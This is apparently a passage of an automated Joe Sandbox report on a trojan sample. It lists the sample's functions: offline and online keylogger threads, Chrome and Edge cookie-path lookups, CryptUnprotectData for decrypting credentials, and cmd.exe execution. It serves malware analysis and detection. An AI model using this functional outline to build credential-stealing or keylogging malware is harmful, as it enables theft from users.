Function 160709BC Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 160709D4

Part of subcall function 16066782: HeapFree.KERNEL32(00000000,00000000,?,16070C6F,?,00000000,?,00000000,?,16070F13,?,00000007,?,?,1607145E,?), ref: 16066798
Part of subcall function 16066782: GetLastError.KERNEL32(?,?,16070C6F,?,00000000,?,00000000,?,16070F13,?,00000007,?,?,1607145E,?,?), ref: 160667AA

_free.LIBCMT ref: 160709E6
_free.LIBCMT ref: 160709F8
_free.LIBCMT ref: 16070A0A
_free.LIBCMT ref: 16070A1C

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 928cdb727447b385e3e5118413ec57e1d7df31d7a80a4c029e39bc80c79effb1
Instruction ID: d03369afb94066fe260b6585aa36e075595f029706f4fc17f4c7d12167c9caf8
Opcode Fuzzy Hash: 928cdb727447b385e3e5118413ec57e1d7df31d7a80a4c029e39bc80c79effb1
Instruction Fuzzy Hash: DBF01279A14224B7C618DB59E8C5C1A7BDFFB21716F608A5DF1AAD7500CB30FC84C698

Uniqueness

Uniqueness Score: -1.00%

Function 16064048 Relevance: 7.5, APIs: 5, Instructions: 30COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 16064066

Part of subcall function 16066782: HeapFree.KERNEL32(00000000,00000000,?,16070C6F,?,00000000,?,00000000,?,16070F13,?,00000007,?,?,1607145E,?), ref: 16066798
Part of subcall function 16066782: GetLastError.KERNEL32(?,?,16070C6F,?,00000000,?,00000000,?,16070F13,?,00000007,?,?,1607145E,?,?), ref: 160667AA

_free.LIBCMT ref: 16064078
_free.LIBCMT ref: 1606408B
_free.LIBCMT ref: 1606409C
_free.LIBCMT ref: 160640AD

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 8cd546d5da4799b0914a6800c9e8731082a92eb8f3d5e1e25764847031b15099
Instruction ID: d793b3895690a786cf19b5297cbe5210c6629448192bbf523ad01ce2232350b7
Opcode Fuzzy Hash: 8cd546d5da4799b0914a6800c9e8731082a92eb8f3d5e1e25764847031b15099
Instruction Fuzzy Hash: DCF067769212308FC62DEF299CC44053E63FB24772B41C24EF22C63660C7345A59CBC2

Uniqueness

Uniqueness Score: -1.00%

Function 16033A55 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 179registryCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32(?,?,00000104,00000000,?,?,?,?,?,?,?,?), ref: 16033ABC
RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?,00000104,00000000,?,?,?,?), ref: 16033AEB
RegEnumValueW.ADVAPI32(?,00000000,?,00003FFF,00000000,?,?,00002710,?,?,?,?,?,?,?,?), ref: 16033B8B

Strings

[regsplt], xrefs: 16033C17

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Enum$InfoQueryValue
String ID: [regsplt]
API String ID: 3554306468-4262303796
Opcode ID: 799d25c5cab97a4dd960c9a045e6b34b53f4bfebf96c50af041469750612e21a
Instruction ID: 7e21dfcc6c48ca9b79deb688c4a3bf88de7f187a3e2ff2c17d93d6eb35476d7b
Opcode Fuzzy Hash: 799d25c5cab97a4dd960c9a045e6b34b53f4bfebf96c50af041469750612e21a
Instruction Fuzzy Hash: 40513F75910119AEDB05DBD5DC90EEFBBBEBF14201F9001A9E515E6150EF706B4CCBA0

Uniqueness

Uniqueness Score: -1.00%

Function 1606E6E9 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 168COMMON

Download Yara Rule

APIs

_strpbrk.LIBCMT ref: 1606E738
_free.LIBCMT ref: 1606E855

Part of subcall function 1605BD19: IsProcessorFeaturePresent.KERNEL32(00000017,1605BCEB,?,?,?,?,?,00000000,?,?,1605BD0B,00000000,00000000,00000000,00000000,00000000), ref: 1605BD1B
Part of subcall function 1605BD19: GetCurrentProcess.KERNEL32(C0000417), ref: 1605BD3D
Part of subcall function 1605BD19: TerminateProcess.KERNEL32(00000000), ref: 1605BD44

Strings

., xrefs: 1606EA0C
*?, xrefs: 1606E72C

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Process$CurrentFeaturePresentProcessorTerminate_free_strpbrk
String ID: *?$.
API String ID: 2812119850-3972193922
Opcode ID: 6703a85dd49711e1afab558f77f60869b6155e4f96c4351f2947c71862cae23b
Instruction ID: 4c40d6b1edbe7d9458404924ff5053def931ecb6495db79c73158fcb958061a5
Opcode Fuzzy Hash: 6703a85dd49711e1afab558f77f60869b6155e4f96c4351f2947c71862cae23b
Instruction Fuzzy Hash: 71518175E1420AAFDB04CFAACC80AADBFF5EF48314F258169D854E7351E671AE09CB50

Uniqueness

Uniqueness Score: -1.00%

Function 03F6AABC Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 148threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(?,00000000,03F6AC8C,?,?,?,?,00000000,00000000,00000000,00000000,00000000), ref: 03F6AAEB

Part of subcall function 03F6A780: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 03F6A79E

Strings

yyyy, xrefs: 03F6ABE1
eeee, xrefs: 03F6ABFA
ggg, xrefs: 03F6ABD1

Memory Dump Source

Source File: 00000000.00000002.2137377339.0000000003F61000.00000020.00001000.00020000.00000000.sdmp, Offset: 03F60000, based on PE: true

Associated: 00000000.00000002.2137358819.0000000003F60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2137482438.0000000003F8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f60000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Locale$InfoThread
String ID: eeee$ggg$yyyy
API String ID: 4232894706-1253427255
Opcode ID: d92e854d47053a5f9c9093ad1b3f2ff04254bbe8c06479e88ff4276dad003d6f
Instruction ID: 7af1e3e80b50f4a097e430e04db86c768b55bd2b88c5f831ff1130e317c4bbba
Opcode Fuzzy Hash: d92e854d47053a5f9c9093ad1b3f2ff04254bbe8c06479e88ff4276dad003d6f
Instruction Fuzzy Hash: 854133B97242094BCF01FBBE8D9067EF3EBEB86200F544469D881FB355D634DD02A621

Uniqueness

Uniqueness Score: -1.00%

Function 16063435 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe,00000104), ref: 16063475
_free.LIBCMT ref: 16063540
_free.LIBCMT ref: 1606354A

Strings

C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe, xrefs: 1606346C, 16063473, 160634A2, 160634DA

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: _free$FileModuleName
String ID: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe
API String ID: 2506810119-2667170815
Opcode ID: 0d188dbca89b7aa363cca968e5220a2bea09756657c4141305e946f928f244f5
Instruction ID: bf4386fb74593f968d9dc6477fcb88d0928471ad833110db72923c4e2d696706
Opcode Fuzzy Hash: 0d188dbca89b7aa363cca968e5220a2bea09756657c4141305e946f928f244f5
Instruction Fuzzy Hash: 00317575E00258AFDB29DF9ACC84D9EBFFEEF85310F105056E50497250D6B1AA89CBD0

Uniqueness

Uniqueness Score: -1.00%

Function 1602C6BB Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

Part of subcall function 1602C526: PathFileExistsW.SHLWAPI(00000000,\AppData\Local\Microsoft\Edge\,00000000), ref: 1602C559

PathFileExistsW.SHLWAPI(00000000), ref: 1602C6EC
PathFileExistsW.SHLWAPI(00000000,-00000011,?,00000000,00000000), ref: 1602C757

Strings

User Data\Default\Network\Cookies, xrefs: 1602C6D2
User Data\Profile ?\Network\Cookies, xrefs: 1602C704

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: ExistsFilePath
String ID: User Data\Default\Network\Cookies$User Data\Profile ?\Network\Cookies
API String ID: 1174141254-1980882731
Opcode ID: 540876333ccc738e2d27676e73fc7159f82fb2a2fbcbee099a4abcb89853ce4d
Instruction ID: ae80752d9b5c0c7f6b5858f75cf48255f7a9558b1a37c68f861570c03f7f17aa
Opcode Fuzzy Hash: 540876333ccc738e2d27676e73fc7159f82fb2a2fbcbee099a4abcb89853ce4d
Instruction Fuzzy Hash: 80214579D001199BCB44EBE1DC55CEFBF7EEE64212F80002DE606A3094EF20BA4EC690

Uniqueness

Uniqueness Score: -1.00%

Function 1602C5EC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

Part of subcall function 1602C4C3: PathFileExistsW.SHLWAPI(00000000,\AppData\Local\Google\Chrome\,00000000), ref: 1602C4F6

PathFileExistsW.SHLWAPI(00000000), ref: 1602C61D
PathFileExistsW.SHLWAPI(00000000,-00000011,?,00000000,00000000), ref: 1602C688

Strings

User Data\Default\Network\Cookies, xrefs: 1602C603
User Data\Profile ?\Network\Cookies, xrefs: 1602C635

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: ExistsFilePath
String ID: User Data\Default\Network\Cookies$User Data\Profile ?\Network\Cookies
API String ID: 1174141254-1980882731
Opcode ID: 19658de5576095eee74dea1ef6f56a3b70faf10891e133e14b0a73e5d1463113
Instruction ID: 8febbf5b3cc81b87044eca4f7ca6d2603afd85feaf7c691e9eceedb3a769aa63
Opcode Fuzzy Hash: 19658de5576095eee74dea1ef6f56a3b70faf10891e133e14b0a73e5d1463113
Instruction Fuzzy Hash: 69214879D001199ACB44EBE1DC99CFFBF7EEE54116F80005DD606A3094EF20BA4EC690

Uniqueness

Uniqueness Score: -1.00%

Function 1602A179 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,1602A27D,160950F0,00000000,00000000), ref: 1602A1FE
CreateThread.KERNEL32(00000000,00000000,1602A267,160950F0,00000000,00000000), ref: 1602A20E
CreateThread.KERNEL32(00000000,00000000,1602A289,160950F0,00000000,00000000), ref: 1602A21A

Part of subcall function 1602B164: GetLocalTime.KERNEL32(?,Offline Keylogger Started,160950F0), ref: 1602B172
Part of subcall function 1602B164: wsprintfW.USER32 ref: 1602B1F3

Strings

Offline Keylogger Started, xrefs: 1602A19B, 1602A1A2, 1602A1CF

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: CreateThread$LocalTimewsprintf
String ID: Offline Keylogger Started
API String ID: 465354869-4114347211
Opcode ID: 83db17472f10fbc73a6b8da964b5f4119aaf269659dd81527a1941e5d49ac8a2
Instruction ID: 8b7cdbd1a3f27847252b8671d55a7c00ed570109df470f334c9f7f9dd4bc3650
Opcode Fuzzy Hash: 83db17472f10fbc73a6b8da964b5f4119aaf269659dd81527a1941e5d49ac8a2
Instruction Fuzzy Hash: 2A11E7A95002083ED220FB3A8CC5CBB7E5EDE911A9B80056DF94613146DF21AD4CCAF2

Uniqueness

Uniqueness Score: -1.00%

Function 1602AEEE Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 65threadCOMMON

Download Yara Rule

APIs

Part of subcall function 1602B164: GetLocalTime.KERNEL32(?,Offline Keylogger Started,160950F0), ref: 1602B172
Part of subcall function 1602B164: wsprintfW.USER32 ref: 1602B1F3

Part of subcall function 1603B4EF: GetLocalTime.KERNEL32(00000000), ref: 1603B509

CreateThread.KERNEL32(00000000,00000000,1602A267,?,00000000,00000000), ref: 1602AF6E
CreateThread.KERNEL32(00000000,00000000,1602A289,?,00000000,00000000), ref: 1602AF7A
CreateThread.KERNEL32(00000000,00000000,1602A295,?,00000000,00000000), ref: 1602AF86

Strings

Online Keylogger Started, xrefs: 1602AF03, 1602AF0C, 1602AF36

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: CreateThread$LocalTime$wsprintf
String ID: Online Keylogger Started
API String ID: 112202259-1258561607
Opcode ID: de21caeb4da943648b2ea70a2c4d2bfc6165e0ce1e0c312bb143ff0893a33fff
Instruction ID: f85a1156ec2b87a7e6b7989b9601100c0827e0e52d12b4a5da23b45cb0e33445
Opcode Fuzzy Hash: de21caeb4da943648b2ea70a2c4d2bfc6165e0ce1e0c312bb143ff0893a33fff
Instruction Fuzzy Hash: E301A198A002593EE220F67A4CD9CBF7E6ECE82099FC0056DF94517146DE156C8DC7F2

Uniqueness

Uniqueness Score: -1.00%

Function 16024F51 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58timethreadCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 16024F81
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 16024FCD
CreateThread.KERNEL32(00000000,00000000,16025150,?,00000000,00000000), ref: 16024FE0

Strings

KeepAlive | Enabled | Timeout: , xrefs: 16024F94

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Create$EventLocalThreadTime
String ID: KeepAlive | Enabled | Timeout:
API String ID: 2532271599-1507639952
Opcode ID: 90a6596de7179d07135cf48f4cbc6cfa1b473c610a12f30454732734389641a8
Instruction ID: 30bea53311461a12c14c81e9e5dceabbc887016859c8e4da6377039f21919320
Opcode Fuzzy Hash: 90a6596de7179d07135cf48f4cbc6cfa1b473c610a12f30454732734389641a8
Instruction Fuzzy Hash: 8F11E3358002C46AD721E776CC4CE9B7FBD9FD2711F40014EE54152254DA70A44DCBA2

Uniqueness

Uniqueness Score: -1.00%

Function 16026A63 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 53libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(crypt32,CryptUnprotectData), ref: 16026A82
GetProcAddress.KERNEL32(00000000), ref: 16026A89

Strings

crypt32, xrefs: 16026A7D
CryptUnprotectData, xrefs: 16026A78

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: CryptUnprotectData$crypt32
API String ID: 2574300362-2380590389
Opcode ID: bda468e1a41c97e8c2a01a39ae522b9075b833e17e76eb0b6180832235a05fe3
Instruction ID: c81af087ef6a883ed149e8908ddcd335d5092c1d8784af359c1a128fa372c95d
Opcode Fuzzy Hash: bda468e1a41c97e8c2a01a39ae522b9075b833e17e76eb0b6180832235a05fe3
Instruction Fuzzy Hash: 2A01B535A20236ABCB0CDFAD8D449AEBFB9EF54200F04816DE955D3240D6319908CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 1602515C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 46synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000003E8,?,?,?,16025159), ref: 16025173
CloseHandle.KERNEL32(?), ref: 160251CA
SetEvent.KERNEL32(?), ref: 160251D9

Strings

Connection Timeout, xrefs: 16025198

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: CloseEventHandleObjectSingleWait
String ID: Connection Timeout
API String ID: 2055531096-499159329
Opcode ID: 93791044866b0406e6ef10be13941ccc561fd0b573616e095c23bcadeefd8f7e
Instruction ID: 811af327175a99a989e36a8ac4d7ac2a31ff1bd2de516d99dcf382880807f992
Opcode Fuzzy Hash: 93791044866b0406e6ef10be13941ccc561fd0b573616e095c23bcadeefd8f7e
Instruction Fuzzy Hash: 88014734941F00AFE72AEF35CCD442BBFE7BF10202780092DD2C346A62DB22A448CB41

Uniqueness

Uniqueness Score: -1.00%

Function 1602E7C5 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 1602E833

Strings

ios_base::eofbit set, xrefs: 1602E822
ios_base::badbit set, xrefs: 1602E7EF
ios_base::failbit set, xrefs: 1602E815

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Exception@8Throw
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 2005118841-1866435925
Opcode ID: 549091ef0c12ec9d28e1e5a2d93d1ca5ce37ff24b6dde3cc5cbc055755de98ff
Instruction ID: 1a30191f318e6eb3f6f4487901dcfbc21e3477fb8e481500cf748d3a4c579e76
Opcode Fuzzy Hash: 549091ef0c12ec9d28e1e5a2d93d1ca5ce37ff24b6dde3cc5cbc055755de98ff
Instruction Fuzzy Hash: CB016274C903486AE704DA90CC41FFD7F995F20201F80845DAE5955082EA65BE5DC6A2

Uniqueness

Uniqueness Score: -1.00%

Function 1602DFA6 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 39COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 1602DFB1
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 1602DFF0

Part of subcall function 16055640: _Yarn.LIBCPMT ref: 1605565F
Part of subcall function 16055640: _Yarn.LIBCPMT ref: 16055683

__CxxThrowException@8.LIBVCRUNTIME ref: 1602E016

Strings

bad locale name, xrefs: 1602E000

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Yarnstd::_$Exception@8Locinfo::_Locinfo_ctorLockitLockit::_Throw
String ID: bad locale name
API String ID: 3628047217-1405518554
Opcode ID: 2f153dd399ec88ac4fc9bcee33163b60d898f1e1cd5b03bce39b81ec69baf678
Instruction ID: 51a4e0d6abbae4838e6ccd09aeea416efe4f713ee0dd7ccd9b2c15f2ed03247b
Opcode Fuzzy Hash: 2f153dd399ec88ac4fc9bcee33163b60d898f1e1cd5b03bce39b81ec69baf678
Instruction Fuzzy Hash: CBF0F63A4406049AC725EB64EC61EDEBFBD9F11350FD0496DE816134D0DF35BA0DC688

Uniqueness

Uniqueness Score: -1.00%

Function 1603376F Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 38registryCOMMON

Download Yara Rule

APIs

RegCreateKeyA.ADVAPI32(80000001,Control Panel\Desktop,1608611C), ref: 1603377E
RegSetValueExA.ADVAPI32(1608611C,?,00000000,?,00000000,00000000,Control Panel\Desktop,?,?,1603CAB1,WallpaperStyle,1608611C,00000001,16094EE0,00000000), ref: 160337A6
RegCloseKey.ADVAPI32(1608611C,?,?,1603CAB1,WallpaperStyle,1608611C,00000001,16094EE0,00000000,?,1602875D,00000001), ref: 160337B1

Strings

Control Panel\Desktop, xrefs: 16033778, 16033788

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: CloseCreateValue
String ID: Control Panel\Desktop
API String ID: 1818849710-27424756
Opcode ID: ca0717ca701155957b48f4f6108e6a391d3dce84f2cb89f22a7dd0fd7931ab72
Instruction ID: bddd97bd7a1f56767a93a943ee2a1dea728b1ca1a48496a7902e9a36f50e3fbd
Opcode Fuzzy Hash: ca0717ca701155957b48f4f6108e6a391d3dce84f2cb89f22a7dd0fd7931ab72
Instruction Fuzzy Hash: D4F09076440118FFDB04DFA0DC85EEE7B6DEF05651F108258FE09A6110EB31AE18DB90

Uniqueness

Uniqueness Score: -1.00%

Function 160360EE Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 27COMMON

Download Yara Rule

APIs

ShellExecuteW.SHELL32(00000000,open,cmd.exe,00000000,00000000,00000000), ref: 16036130

Strings

cmd.exe, xrefs: 16036125
/C , xrefs: 1603610E
open, xrefs: 1603612A

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: ExecuteShell
String ID: /C $cmd.exe$open
API String ID: 587946157-3896048727
Opcode ID: 26bc408866d17a8817eee12855e4cbcc8a961c9c276145e34dad9fdbcf576618
Instruction ID: 6aaf9a862af051460218093d0758e1fc3c3dee59a4412c9e0c3e7502911bbf69
Opcode Fuzzy Hash: 26bc408866d17a8817eee12855e4cbcc8a961c9c276145e34dad9fdbcf576618
Instruction Fuzzy Hash: E1E0E5785083446ED748DB74CC94CAF7BBE6E64202B81085CB25692051EF24AD4CC751

Uniqueness

Uniqueness Score: -1.00%

Function 03F779FC Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(C:\Windows\System32\ntdll.dll,NtProtectVirtualMemory), ref: 03F77A09
GetProcAddress.KERNEL32(00000000,C:\Windows\System32\ntdll.dll), ref: 03F77A0F

Strings

NtProtectVirtualMemory, xrefs: 03F779FF
C:\Windows\System32\ntdll.dll, xrefs: 03F77A04

Memory Dump Source

Source File: 00000000.00000002.2137377339.0000000003F61000.00000020.00001000.00020000.00000000.sdmp, Offset: 03F60000, based on PE: true

Associated: 00000000.00000002.2137358819.0000000003F60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2137482438.0000000003F8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f60000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: C:\Windows\System32\ntdll.dll$NtProtectVirtualMemory
API String ID: 1646373207-1386159242
Opcode ID: 21bbf2ddca918fd5f28c9fc407f521d2220bbd453f83efe28e365adccce651a4
Instruction ID: 34ef128ede807417740ab9ab6133350c0bd9619e009dbb610e006f46e174920d
Opcode Fuzzy Hash: 21bbf2ddca918fd5f28c9fc407f521d2220bbd453f83efe28e365adccce651a4
Instruction Fuzzy Hash: A7E0B6B626020DBF9B40EEA9EC45D9F37ECAB192007004016BA18EB211C672E9119BB0

Uniqueness

Uniqueness Score: -1.00%

Function 03F6C430 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 16libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,?,03F8A10B,00000000,03F8A11E), ref: 03F6C436
GetProcAddress.KERNEL32(00000000,GetDiskFreeSpaceExA), ref: 03F6C447

Strings

kernel32.dll, xrefs: 03F6C431
GetDiskFreeSpaceExA, xrefs: 03F6C441

Memory Dump Source

Source File: 00000000.00000002.2137377339.0000000003F61000.00000020.00001000.00020000.00000000.sdmp, Offset: 03F60000, based on PE: true

Associated: 00000000.00000002.2137358819.0000000003F60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2137482438.0000000003F8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f60000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: GetDiskFreeSpaceExA$kernel32.dll
API String ID: 1646373207-3712701948
Opcode ID: c0f32f867cfc9aaf32f1c423789a3fe7448f9110c88fce0df97eb74ae7269cb5
Instruction ID: b1df6a7ff56fcdf4b54bc7c6a79f2098f3c26f85e3c0f1de0d808394b13e95e0
Opcode Fuzzy Hash: c0f32f867cfc9aaf32f1c423789a3fe7448f9110c88fce0df97eb74ae7269cb5
Instruction Fuzzy Hash: 9BD0C770A4135E9FDB04FBB66991E3932D89705705F449829E1D29D10AD7B2C8099FA4

Uniqueness

Uniqueness Score: -1.00%

Function 1606A004 Relevance: 6.3, APIs: 4, Instructions: 305COMMONLIBRARYCODE

Download Yara Rule

APIs

